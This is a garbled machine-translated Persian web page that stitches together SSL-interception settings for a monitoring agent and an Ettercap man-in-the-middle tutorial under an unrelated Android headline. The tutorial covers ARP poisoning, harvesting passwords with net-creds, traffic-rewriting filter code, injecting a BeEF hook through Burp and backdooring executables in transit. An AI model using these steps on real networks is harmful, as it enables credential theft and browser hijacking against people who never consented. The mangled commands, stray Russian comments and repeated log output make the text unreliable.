خانه - دستگاه های موبایل
هک آسان: اسرار هکرها برای چیزهای ساده. هر برنامه ای را روی اندروید نصب کنید

هنگامی که فعال باشد، تمام ترافیک (رمزگذاری شده و رمزگذاری نشده) یا عامل فقط رمزگذاری شده از فناوری جعل گواهی SSL برای اطمینان از رهگیری داده های منتقل شده در جلسات وب محافظت شده استفاده می کند. هنگام برقراری ارتباط ایمن با یک سرور، عامل گواهی سرور اصلی را با گواهینامه ای به همین نام، اما توسط گواهی ریشه عامل، جایگزین می کند. این سیستم به شما این امکان را می دهد که از یک گواهی از پیش نصب شده و یک گواهی ایجاد شده توسط کاربر با مجوز امضا به عنوان گواهی ریشه استفاده کنید.

این سیستم به شما امکان می دهد تا با پیوند دادن گواهی به سرور، گواهی های خاصی را برای جایگزینی هنگام رهگیری جلسات سرورهای مربوطه (سایت ها، برنامه ها) به صورت دستی نصب کنید.

در برخی موارد، استفاده از گواهی غیر اصلی ممکن است برقراری ارتباط رمزگذاری شده با سرور را غیرممکن کند. در این مورد، لازم است سرورهای مربوطه را از رهگیری حذف کنیم، یعنی. جایگزینی گواهینامه های SSL را هنگام اتصال به چنین سرورهایی ممنوع کنید. با این کار عملکرد این گونه سایت ها یا برنامه ها بازیابی می شود، اما ترافیک رمزگذاری شده برای آنها رهگیری نخواهد شد.

برای پیکربندی رهگیری ترافیک SSL:

  • در پنجره تب مشخصات Agent Settings، در قسمت ویرایش پروفایل، تب Network Traffic Control را انتخاب کنید.
  • روی دکمه SSL Interception Options کلیک کنید و توصیه های موجود در پاراگراف فعلی را دنبال کنید.
  • انتخاب حالت جایگزینی گواهی SSL

    در پنجره تنظیمات، یک حالت رهگیری قابل قبول را انتخاب کنید:

    • برای اینکه عامل هنگام نصب روی رایانه کاربر به طور خودکار گواهینامه SSL root تولید کند، این گزینه را انتخاب کنید حالت خودکار. گواهی ریشه ایجاد شده در پایگاه داده صادرکننده گواهی مورد اعتماد قرار می گیرد و به طور خودکار توسط نماینده برای صدور گواهینامه های فرزند که به طور پیش فرض با نام صادر کننده برج امن Falcongaze امضا شده اند، استفاده می شود.

    برای تغییر نام صادر کننده گواهی که در اطلاعات امنیتی اتصال ظاهر می شود، نام مورد نظر را در قسمت Name در گواهی SSL وارد کنید.

    • برای استفاده از گواهی SSL سفارشی به عنوان گواهی ریشه هنگام رهگیری ترافیک رمزگذاری شده، گزینه Custom mode را انتخاب کنید. گواهی کاربر باید قبلا تولید و به پایگاه داده سیستم اضافه شده باشد. برای تعیین یک گواهی از پایگاه داده سیستم، نام آن را در لیست کشویی گواهی کاربر انتخاب کنید یا روی دکمه گواهی های کاربر کلیک کنید تا فایل های گواهی اضافه شود و کلید خصوصیبه پایگاه داده سیستم

    در پنجره باز شده روی دکمه افزودن گواهی کلیک کنید و با یکی از روش های زیر گواهینامه و فایل های کلیدی را مشخص کنید:

  • برای ایجاد یک گواهی جدید، روی دکمه Generate Certificate کلیک کنید. در پنجره ای که باز می شود، نام گواهی جدید، مدت اعتبار آن را وارد کرده و مسیرهایی را که فایل های گواهی (*.cer) و کلید خصوصی (*.pvk) ایجاد شده جدید ذخیره می شوند را مشخص کنید. روی دکمه Generate کلیک کنید.
  • اگر می‌خواهید گواهینامه‌ای را اضافه کنید که قبلاً در قالب PFX تولید شده است، روی دکمه Convert from PFX Certificate کلیک کنید. مسیر و رمز عبور فایل گواهی را با فرمت PFX و همچنین مسیر فایل های گواهی (*.cer) و کلید خصوصی (*.pvk) که می خواهید فایل منبع را به آن تبدیل کنید، مشخص کنید. برای تکمیل تبدیل، روی دکمه تبدیل کلیک کنید.
  • در پنجره Adding User Certificates روی Next کلیک کنید تا روند افزودن ادامه یابد. در پنجره باز شده وارد شوید نام منحصر به فرد، که گواهی اضافه شده را امضا می کند و یک نظر (اختیاری).

    برای تکمیل فرآیند روی Finish کلیک کنید. گواهی به پایگاه داده گواهی کاربر سیستم SecureTower اضافه می شود. برای تکمیل افزودن روی OK کلیک کنید. گواهی کاربر اضافه شده به طور خودکار توسط نماینده در پایگاه داده سازندگان مورد اعتماد قرار می گیرد (اگر قبلاً توسط مدیر شبکه این کار انجام نشده باشد) و سپس برای صدور گواهی های فرزند استفاده می شود.

    توجه داشته باشید.

    هنگام استفاده از حالت کاربر، توصیه می شود که مدیر شبکه گواهی کاربر را با استفاده از همه رایانه های موجود در شبکه توزیع کند. سیاست های گروهیا به صورت دستی این تضمین می کند که گواهینامه ها با موفقیت تأیید می شوند. در غیر این صورت، گواهی به طور خودکار توسط نماینده به فروشگاه گواهی مورد اعتماد اضافه می شود.

    پیوند دادن یک گواهی SSL به سرور

    برای تعیین تطابق سرور و گواهی، روی دکمه Certificate Bindings کلیک کنید و توصیه‌های زیر را دنبال کنید:

    • برای اتصال به یک گواهی ریشه سرور خاص در برگه گواهی های ریشه، روی دکمه افزودن گواهی برای سایت کلیک کنید. نام میزبان را وارد کنید ( نام دامنه، در قسمت نام میزبان (آدرس IP) به آن گواهی فرزند صادر می شود و گواهی ریشه به آن متصل می شود. یکی از گواهی های ریشه از پیش نصب شده را از لیست کشویی فیلد گواهی ریشه انتخاب کنید یا روی دکمه گواهی های کاربر کلیک کنید تا فایل های گواهی و کلید خصوصی را در رایانه کاربر اضافه و مشخص کنید.
    • برای اتصال یک گواهی موجود به یک سرور خاص، برگه گواهی های کاربر را انتخاب کنید. نماینده گواهینامه های فرزند جدیدی را برای سرورهای مشخص شده در این برگه ایجاد نمی کند، اما از گواهی های مشخص شده توسط کاربر برای رویه های جایگزینی استفاده می کند. در پنجره باز شده در قسمت Host name (IP address) نام میزبان (نام دامنه) که گواهینامه به آن متصل می شود را وارد کنید. یکی از گواهی‌ها را از لیست کشویی در قسمت Certificate: انتخاب کنید (اگر گواهی‌ها قبلاً اضافه شده‌اند) یا روی دکمه User Certificates کلیک کنید تا گواهی‌های کاربر را از لیست انتخاب کنید یا فایل‌های گواهی و کلید خصوصی را در کاربر اضافه و مشخص کنید. کامپیوتر.

    توجه داشته باشید.

    برای پر کردن قسمت نام هاست (آدرس IP) می توانید از آدرس IP هاست استفاده کنید اما فقط در مواردی که نام میزبان در حین اتصال مشخص نشده باشد و فقط آدرس IP مشخص باشد.

    مستثنی کردن سرورها از رهگیری ترافیک رمزگذاری شده

    برای کار با استثناهای فرآیند جایگزینی گواهی، روی دکمه استثناهای سرور SSL کلیک کنید.

    پنجره مدیر استثنا لیستی از سرورها (میزبان) را نشان می دهد که به طور پیش فرض از فرآیند جایگزینی حذف شده اند. برای افزودن یک استثنا جدید، روی دکمه افزودن استثنا کلیک کنید.

    در فیلد ورودی کادر محاوره‌ای که باز می‌شود، نام سرور (میزبان) (مثلا accounts.google.com) را با حروف حساس وارد کنید و روی دکمه افزودن کلیک کنید. این سیستم به شما امکان می‌دهد نام‌ها را با استفاده از یک ماسک وارد کنید (نمادهای ? و * مجاز هستند، برای مثال، با استفاده از *.microsoft.* از تکرار منابع مایکروسافت در لیست محرومیت جلوگیری می‌کند) تا منابع همان خانواده را حذف کنید. نامی که وارد کرده اید در لیست حذف ظاهر می شود.

    در مرحله بعد، باید حالت حذف را انتخاب کنید: گواهی‌ها را فقط برای سرورهای SSL مشخص‌شده در بالا جایگزین کنید، یا گواهی‌های SSL را برای همه سرورها جایگزین کنید، به جز مواردی که در بالا مشخص شده‌اند. در حالت اول، سیستم فقط گواهی‌های سرورهای فهرست شده در لیست حذف را جایگزین می‌کند (و بنابراین می‌تواند ترافیک مربوطه را رهگیری کند). برای بقیه، گواهی ها جایگزین نمی شوند و رهگیری ترافیک رمزگذاری شده مربوطه غیرممکن خواهد بود. در حالت دوم، سیستم گواهی ها را برای همه سرورها به جز مواردی که در لیست استثناها مشخص شده است جایگزین می کند.

    برای انجام سایر عملیات با استثناء، توصیه های مناسب در پاراگراف را دنبال کنید

    جایگزین های Ettercap

    Ettercap بیشترین است برنامه محبوببرای یک حمله مرد در وسط، اما آیا این بهترین است؟ در طول کل دستورالعمل ها، خواهید دید که Ettercap تقریباً هرگز به تنهایی استفاده نمی شود، این یا برنامه دیگری همیشه با آن در زنجیره پردازش ترافیک ساخته می شود. شاید این به انعطاف‌پذیری اضافه کند؛ به طور کلی، این رویکرد زیربنای یونیکس است - یک برنامه یک کار را انجام می‌دهد و کاربر نهایی ترکیب می‌کند. برنامه های مختلفبرای رسیدن به نتیجه مطلوب. با این رویکرد، نگهداری کد برنامه آسان تر است؛ از چنین "آجرهای" مینیاتوری می توانید سیستمی با هر پیچیدگی و انعطافی بسازید. با این حال، داشتن پنج کنسول ها را باز کنیدبا وظایف مختلف، کار برنامه ها با هدف دستیابی به یک نتیجه واحد است - این خیلی راحت نیست ، به سادگی پیچیده تر است ، امکان اشتباه در مرحله ای وجود دارد و کل سیستم پیکربندی شده بیهوده کار می کند.

    استشمام Net-Creds:

    • URL های بازدید شده
    • درخواست های POST ارسال شد
    • ورود به سیستم / رمز عبور از فرم های HTTP
    • ورود به سیستم / رمز عبور برای احراز هویت اولیه HTTP
    • جستجوهای HTTP
    • ورود به سیستم / رمز عبور FTP
    • ورود به سیستم / رمز عبور IRC
    • ورود به سیستم / رمز عبور POP
    • ورود به سیستم / رمز عبور IMAP
    • ورود به شبکه راه دور / رمز عبور
    • ورود به سیستم / رمز عبور SMTP
    • رشته جامعه SNMP
    • همه پروتکل های NTLMv1/v2 مانند HTTP، SMB، LDAP و غیره پشتیبانی می شوند.
    • کربروس

    انتخاب خوبی از موارد رهگیری شده، و شبکه رانش از این نظر ساده تر است - فقط تصاویر رهگیری شده را نشان می دهد.

    دستگاه خود را به حالت حمل و نقل تغییر دهید.

    اکو "1" > /proc/sys/net/ipv4/ip_forward

    راه اندازی Ettercap با یک رابط گرافیکی (-G):

    Ettercap-G

    اکنون Hosts را انتخاب کنید، یک مورد فرعی Scan for host وجود دارد. پس از اتمام اسکن، لیست میزبان ها را انتخاب کنید:

    به عنوان Target1، روتر را انتخاب کنید (افزودن به هدف 1)، به عنوان Target2 دستگاهی را که به آن حمله خواهید کرد (افزودن به هدف 2) را انتخاب کنید.

    اما در اینجا ممکن است اولین مشکل ایجاد شود، به خصوص اگر میزبان های زیادی وجود داشته باشد. که در دستورالعمل های مختلف، از جمله در ویدیوی ارائه شده در بالا، نویسندگان به دستگاه هدف صعود می کنند (همه به دلایلی ویندوز دارند) و با استفاده از دستور به IP این دستگاه نگاه می کنند. شبکه محلی. موافقم، این گزینه برای شرایط واقعی غیرقابل قبول است.

    اگر با استفاده از اسکن می‌کنید، می‌توانید اطلاعات بیشتری درباره میزبان‌ها یا به‌طور دقیق‌تر درباره سازنده کارت شبکه دریافت کنید:

    Nmap -sn 192.168.1.0/24

    اگر داده ها هنوز کافی نیست، می توانید یک اسکن برای تعیین سیستم عامل انجام دهید:

    Nmap -O 192.168.1.0/24

    همانطور که می بینیم، دستگاه با IP 192.168.1.33 معلوم شد که ویندوز است، اگر این علامت از بالا نیست، پس چیست؟ 😉 LOL

    این چیزی است که ما به عنوان هدف دوم اضافه می کنیم.

    حالا به منوی Mitm بروید. در آنجا، ARP Poisoning را انتخاب کنید... کادر مربوط به اتصالات از راه دور Sniff را علامت بزنید.

    ما شروع به برداشت می کنیم، در یک پنجره راه اندازی می کنیم

    اعتبارات خالص

    در دیگری (هر دو برنامه را می توان بدون گزینه اجرا کرد)

    شبکه دریفت

    جمع آوری داده ها بلافاصله شروع شد:

    در سمت راست، driftnet پنجره دیگری را باز کرده است که در آن تصاویر رهگیری شده را نشان می دهد. در پنجره net-creds، سایت های بازدید شده و رمزهای عبور رهگیری شده را می بینیم:

    1.2 Ettercap + Burp Suite
    3. مشاهده داده ها (سایت های بازدید شده و رمزهای عبور ضبط شده) در Ettercap

    در منوی View ما به تب Connections و Profiles دسترسی داریم. همچنین می توانید کادر Resolve IP addresses را علامت بزنید. اتصالات، البته، اتصالات هستند. Ettercap برای هر میزبانی که کشف می کند، پروفایل ها را در حافظه جمع آوری می کند. کاربران و رمزهای عبور در آنجا جمع آوری می شوند. در این حالت، نمایه‌هایی با داده‌های حساب گرفته شده (گذرواژه) با علامت ضربدر مشخص می‌شوند:

    نیازی به اتکای بیش از حد به نمایه ها نیست - به عنوان مثال، لاگین ها و گذرواژه های رهگیری شده برای FTP و سایر خدمات مشخص شده اند، که برنامه می تواند به وضوح اطلاعات دریافت شده را به عنوان اعتبار تفسیر کند. این شامل، برای مثال، داده های اصلی احراز هویت، ورود به سیستم و رمزهای عبور وارد شده در فرم های وب نمی شود.

    در Connections، امیدوار کننده ترین داده ها با یک ستاره مشخص می شوند:

    برای مشاهده جزئیات می توانید روی این ورودی ها دوبار کلیک کنید:

    برای اینکه این ستاره ها را در سراسر لیست جستجو نکنید، می توانید بر اساس این قسمت مرتب کنید و همه آنها در بالا یا پایین ظاهر می شوند:

    احراز هویت پایه گرفته شده:

    ورود-گذرواژه برای Yandex (در زیر برجسته شده است):

    اینها اعتبارنامه های رهگیری شده برای VKontakte هستند:

    همچنین، جالب ترین داده ها در کنسول پایینی جمع آوری شده است:

    اگر می خواهید نتایج برنامه را ذخیره کنید، از این گزینه ها استفاده کنید (کلیدها را هنگام شروع Ettercap مشخص کنید:

    گزینه های ثبت: -w، --نوشتن نوشتن داده های ضبط شده در pcapfile -L، --log نوشتن تمام ترافیک در این -l، --log-info فقط اطلاعات غیرفعال را در این -m بنویسد، --log-msg نوشتن همه پیام ها در این -c، --compress از فشرده سازی gzip برای فایل های گزارش استفاده کنید

    4. جایگزینی داده در پرواز در Ettercap
    4.1 استفاده از فیلترهای سفارشی Ettercap

    توجه: با وجود تمام آزمایشات، فیلترهای Ettercap هنوز برای من کار نمی کند. درک این که آیا این موضوع مربوط به دست ها، ویژگی های سخت افزاری یا خطای خود برنامه است، دشوار است... اما برای نسخه 0.8.2 (جدیدترین نسخه در حال حاضر)، یک گزارش اشکال در مورد مشکلات فیلترها وجود دارد. به طور کلی، با قضاوت بر اساس گزارش‌های باگ و انجمن‌ها، فیلترها یا اغلب از بین می‌روند یا برای مدت طولانی کار نمی‌کنند. شعبه ای وجود دارد که 5 ماه پیش تغییراتی در آن ایجاد شده بود https://github.com/Ettercap/ettercap/tree/filter-improvements, i.e. بهبود فیلتر (با بهبود فیلتر). هم برای این شاخه و هم برای نسخه از مخزن، آزمایشات بسیار متنوعی انجام شد، فیلترهای مختلف در شرایط مختلف آزمایش شدند، زمان زیادی صرف شد، اما نتیجه ای حاصل نشد. به هر حال، برای نصب نسخه بهبود فیلتر در کالی لینوکسشما باید این کار را انجام دهید:

    Sudo apt-get حذف ettercap-ettercap گرافیکی-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses1 libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git سی دی ettercap/ mkbuildABCSap cd_ENC =روشن ../ make sudo make install

    به طور کلی، اگر فیلترهای شما کار نمی کنند، پس شما تنها نیستید. در دستورالعمل های مربوط به Ettercap، من نمی توانم از مبحث فیلترها بگذرم، بنابراین در هر صورت در مورد آنها بحث خواهد شد.

    تاکنون از Ettercap برای جعل ARP استفاده کرده ایم. این یک برنامه بسیار سطحی است. به لطف فیلترهای سفارشی، می‌توانیم مداخله کنیم و ترافیک را در لحظه تغییر دهیم. فیلترها باید در فایل های جداگانه قرار داشته باشند و قبل از استفاده باید با استفاده از برنامه Etterfilter کامپایل شوند. اگرچه اسنادی که پیوند به آنها داده شده اندک به نظر می رسد، اما همراه با مثال های ارائه شده در زیر، به شما امکان می دهد فیلترهای بسیار جالبی بنویسید.

    بیایید اولین فیلتر خود را ایجاد کنیم، همه تصاویر را با این جایگزین می کند:

    در فایلی به نام img_replacer.filter کپی کنید:

    If (ip.proto == TCP && tcp.dst == 80) ( if (جستجو (DATA.data، "Accept-Encoding")) ( جایگزین ("Accept-Encoding"، "Accept-Rubbish!")؛ # توجه داشته باشید: رشته جایگزین به اندازه msg اصلی است ("Zaped Accept-Encoding!\n"); ) ) if (ip.proto == TCP && tcp.src == 80) (place("src=" , " src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/ jollypwn. png\" ")؛ replace("src ="، "src=\"http://www.irongeek.com/images/jollypwn.png\" ")؛ replace("SRC ="، "src= \" http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); )

    کامپایل فایل:

    Etterfilter img_replacer.filter -o img_replacer.ef

    نتایج تالیف:

    Etterfilter 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap 14 جدول پروتکل بارگیری شد: داده های رمزگشایی شده udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 ثابت بارگیری شده: VRRP OSPF GRE UPPPEMP6 منبع فایل "img_replacer.filter" انجام شد. باز کردن متا درخت انجام شد. تبدیل برچسب ها به افست واقعی انجام شد. خروجی نوشتن در "img_replacer.ef" انجام شد. -> اسکریپت به 18 دستورالعمل کدگذاری شده است.

    سوئیچ -F به برنامه می گوید که فیلتر را از فایلی که سوئیچ را دنبال می کند بارگذاری کند. پس از کامپایل، نام فایل جدید ما با فیلتر img_replacer.ef است، بنابراین دستور به شکل زیر است:

    Ettercap -G -F img_replacer.ef

    توجه: وقتی ترافیک وب را نظارت می کنید، بسته هایی که می بینید ممکن است به صورت رمزگذاری شده باشند. برای کار کارآمدفیلترها، Ettercap به ترافیک متن ساده نیاز دارد. با توجه به برخی مشاهدات، نوع رمزگذاری که صفحات وب استفاده می کنند، "Accept-Encoding: gzip, deflate" است.

    در زیر فیلتری وجود دارد که رمزگذاری را بازنویسی می کند و ارتباط را به شکل متن ساده مجبور می کند:

    If (ip.proto == TCP && tcp.dst == 80) ( if (جستجو (DATA.data، "gzip")) (place("gzip"، " ")؛ # نکته: چهار فاصله در رشته جایگزین شده msg ("gzip\n"); ) ) if (ip.proto == TCP && tcp.dst == 80) ( if (جستجو(DATA.data، "deflate")) ( جایگزین ("deflate"، ""); # نکته: هفت فاصله در خط جایگزین شده msg("whited out deflate\n"); ) )

    نحو برای نوشتن فیلترها به تفصیل توضیح داده شده است و سپس چند مثال دیگر وجود دارد:

    # جایگزینی متن در یک بسته: if (ip.proto == TCP && search(DATA.data, "lol"))(place("lol"، "smh"); msg("filter ran"); ) # show پیام , اگر پورت tcp 22 باشد if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) (msg("SSH packet\n"); ) ) # را یادداشت کنید کل ترافیک telnet را نیز برای هر بسته اجرا کنید if (ip.proto == TCP) ( if (tcp.src == 23 || tcp.dst == 23) (log(DATA.data, "./ logfile.log "); exec("./program"); ​​) ) # ثبت تمام ترافیک به جز http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) (log (DATA.data , "./logfile.log")؛ ) # برخی از عملیات بر روی بار بسته اگر (DATA.data + 20 == 0x4142) ( DATA.data + 20 = 0x4243; ) دیگری ( DATA.data = " modified"; DATA .data + 20 = 0x4445; ) # همه بسته های حاوی "ettercap" را رها کنید اگر (جستجو(DECODED.data، "ettercap")) (msg("some one is about us...\n") ; drop(); kill(); ) # رکورد بسته های ssh رمزگشایی شده مطابق با عبارت منظم if (ip.proto == TCP) ( if (tcp.src == 22 || tcp.dst == 22) ( if (regex(DECODED.data, ".*login.*")) (log(DECODED.data, "./decrypted_log"); ) ) ) #کشتن بسته ها if (ip.ttl< 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

    4.2 جایگزینی داده با استفاده از Burp

    ما Ettercap و Burp را همانطور که در پاراگراف 1.2 یا در بند 2.2 توضیح داده شده راه اندازی می کنیم.

    در Burp، به Proxy -> Options بروید. ما Match and Replace را در آنجا پیدا می کنیم. برای افزودن یک قانون جدید روی Add کلیک کنید.

    • هدر درخواست هدر درخواست است
    • درخواست بدن - درخواست بدن
    • هدر پاسخ - سرصفحه پاسخ
    • بدن پاسخ - بدن پاسخ
    • درخواست نام پارامتر - درخواست نام پارامتر
    • درخواست مقدار پارامتر - درخواست مقدار پارامتر
    • درخواست خط اول - خط اول درخواست

    اگر نیاز به تغییر داده های ارسال شده دارید روش GET، سپس این برای هدرها اعمال می شود.

    در نشانه گذاری HTML چیزی به نام head (تگ head) نیز وجود دارد. موارد ذکر شده در بالا هیچ ارتباطی با این عنوان ندارند. کمی بالاتر در مورد هدر بسته ها صحبت می کنیم. اگر می خواهید محتوای یک صفحه HTML را تغییر دهید، همیشه باید به جای Request header، Response body را انتخاب کنید، حتی اگر می خواهید محتوای تگ head (مثلا عنوان) را تغییر دهید.

    اگر آشنایی ندارید عبارات با قاعده، بنابراین، در اصل، چیزی برای نگرانی وجود ندارد: HTML چیزهای زیادی را می بخشد، و آنچه را که نمی فهمد، به سادگی نادیده می گیرد - می توانید از آن استفاده کنید. اگر می دانید چگونه از عبارات منظم استفاده کنید، پس من به شما احترام می گذارم.)))

    به عنوان مثال، اجازه دهید یک قانون جدید ایجاد کنیم و سرصفحه درخواست را به بدنه پاسخ تغییر دهیم. در خود قانون ما تغییر خواهیم کرد

    .*

    بدون عنوان

    کادر مطابقت Regex را علامت بزنید.

    اکنون در همه سایت ها (بدون HTTPS) عنوان بدون عنوان خواهد بود:

    یک خط دلخواه بعد از تگ بدنه وارد کنید (این اولین خط در متن خواهد بود). هدر درخواست به بدنه پاسخ تغییر کرده است. ما تغییر می کنیم

    کادر مطابقت Regex را علامت بزنید.

    در گوشه سمت راست بالا (بسته به طرح) نوشته "من باحالم!" ظاهر می شود. می‌توانید CSS، کد جاوا اسکریپت، هر متنی را وارد کنید. شما به طور کلی می توانید همه چیز را از صفحه حذف کنید، و سپس آن را با محتوای خود پر کنید - همه چیز به تخیل شما بستگی دارد.

    ایده این بود که هر فرم را کمی تغییر دهیم تا داده ها به سرور اصلی و سرور مهاجم ارسال شوند (برای هر فرم چند ارسال را پیاده سازی کنید). اما با این استدلال که اگر داده های ارسالی رمزگذاری نشده باشد و ما به آن دسترسی داشته باشیم، از قبل آن را می بینیم، نیازی به ارسال آن به هیچ سروری نیست. با این حال، اگر کسی به یک نمونه واقعاً کارآمد برای ارسال داده از یک فرم به چندین سرور به طور همزمان نیاز داشته باشد.

    5. اتصال به BeEF

    برای شروع استفاده از قابلیت‌های BeEF، باید یک فایل جاوا اسکریپت را در کد HTML جاسازی کنیم، معمولاً خطی مانند:

    دو روش بعدی فقط در روش تعبیه این رشته متفاوت است.

    5.1 اتصال BeEF با استفاده از فیلترهای Ettercap

    [بخش بعدا آماده می شود]

    5.2 وصل کردن BeEF با Burp

    شما باید دقیقاً همانطور که در پاراگراف 4.2 نوشته شده است شروع کنید. فقط به جای جایگزینی هدرها و اضافه کردن متن به سایت، کد جاوا اسکریپت را به صورت یک خط پیاده سازی می کنیم:

    در مورد من، این فایل با IP 192.168.1.36 در پورت 3000 موجود است. نام فایل hook.js است (در تنظیمات قابل تغییر است). آن ها در مورد من باید خط را تزریق کنم:

    این را می توان برای مثال با ایجاد یک قانون جدید، تغییر سرصفحه درخواست به بدنه پاسخ انجام داد. جایگزینی باید در خود کد HTML رخ دهد

    عالی است، وقتی وب سایتی را باز می کنید که HTTPS ندارد، کد جاوا اسکریپت در کد HTML درج می شود که به شما امکان می دهد اطلاعات را از طریق یک مرورگر قلاب شده جمع آوری کنید و حملات مختلفی را انجام دهید:

    6. عفونت با درهای پشتی

    می‌توانید فایل‌های اجرایی را با استفاده از فیلترهای Ettercap [که به دلایلی دیگر کار نمی‌کنند] و با استفاده از آن‌ها جایگزین و آلوده کنید. برنامه های شخص ثالث. به عنوان مثال، BDFProxy می تواند این کار را در پرواز انجام دهد. متأسفانه، BDFProxy هنوز هم از آپدیت Backdoor Factory آوریل 2016 سرگردان است: بسته libmproxy در پایتون به mitmproxy تغییر نام داد. برای BDFProxy، بسته libmproxy یک وابستگی ضروری است؛ بدون این بسته برنامه شروع نمی شود. بنابراین، در حال حاضر، قبل از "تعمیر" BDFProxy، استفاده از آن غیرممکن است، زیرا حتی با نصب Backdoor Factory، برنامه BDFProxy از عدم وجود کتابخانه libmproxy شکایت می کند.

    عملیات مشابهی را می توان با Burp Suite انجام داد. الگوریتم گام به گامارائه شده است، بازنویسی مجدد آن در این بخش معنی ندارد.

    7. استفاده از پلاگین های Ettercap

    اطلاعات مربوط به پلاگین های Ettercap را می توان یافت. پلاگین های بسیار زیادی وجود دارد؛ آنهایی که در زیر توضیح داده شده اند به نظر من جالب ترین هستند.

    وقتی Ettercap راه اندازی می شود، می توان پلاگین ها را متصل کرد، یک گزینه برای این وجود دارد:

    P, --plugin این را اجرا کنید

    افزونه ها را می توان از رابط کاربری گرافیکی نیز بارگیری کرد:

    [مواد در دست آماده سازی]

    7.1 arp_cop

    با نظارت منفعلانه درخواست ها/پاسخ های ARP، فعالیت های مشکوک ARP را گزارش می کند. می‌تواند تلاش‌های مسمومیت با ARP یا تضادهای ساده IP یا تغییرات IP را گزارش کند. اگر در حال ساخت یک لیست اولیه از هاست هستید، افزونه با دقت بیشتری کار می کند.

    Ettercap -TQP arp_cop //

    نمونه ای از تشخیص واقعی جعل ARP:

    بسط دادن

    Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // رمز عبور برای mial: ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:A3:08:4A 19.2 255.255.255.0 fe80::a00:27ff:fea3:84a/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد. امتیازات به EUID 65534 EGID 65534 کاهش یافت... اثر انگشت فروشنده 1766 tcp OS اثر انگشت 2182 خدمات شناخته شده تصادفی کردن 255 میزبان برای اسکن... اسکن کل نت ماسک برای 255 میزبان... * |===================== ============================>

    Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // رمز عبور برای mial: ettercap 0.8.2 حق چاپ 2001-2015 تیم توسعه Ettercap گوش دادن در: eth0 -> 08:00:27:A3:08:4A 19.2 255.255.255.0 fe80::a00:27ff:fea3:84a/64 کالبد شکافی SSL به یک اسکریپت معتبر "redir_command_on" در فایل etter.conf نیاز دارد. امتیازات به EUID 65534 EGID 65534 کاهش یافت... اثر انگشت فروشنده 1766 tcp OS اثر انگشت 2182 خدمات شناخته شده تصادفی کردن 255 میزبان برای اسکن... اسکن کل نت ماسک برای 255 میزبان... * |===================== ============================>| 100.00 % 3 هاست به لیست میزبان اضافه شد... شروع sniffing یکپارچه... فقط متن رابط فعال شد... برای کمک درون خطی "h" را بزنید فعال کردن پلاگین arp_cop... arp_cop: افزونه در حال اجرا... arp_cop: (میزبان جدید ) 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند 192.168.1.1.35. s باید 192.168.1.1 arp_cop: ( WARNING ) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 1912.168.1.1p وانمود می کند arp_cop. : (WA RNING) 192.168.1.35 تظاهر می کند be 192.168 .1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند 192.168.1.1.35. s باید 192.1 68.1.1 arp_cop: ( هشدار) 192.168 .1.35 تظاهر به 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 تظاهر به 192.168.1.1 arp_cop: (WARNING) 1912.168.1.1p وانمود می کند. : (هشدار) 192.1 68.1.35 تظاهر می کند be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند 192.168.1.1.35. 192.168.1 باشد. 1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (اخطار) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 1912.168.1.1p وانمود می کند که arp_cop. : (هشدار) 192.168.1.3 5 وانمود می کند to be 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.1 arp_cop: (WARNING) 192.168.1.35 وانمود می کند که 192.168.1.35 وانمود می کند 192.168.1.1.35. s 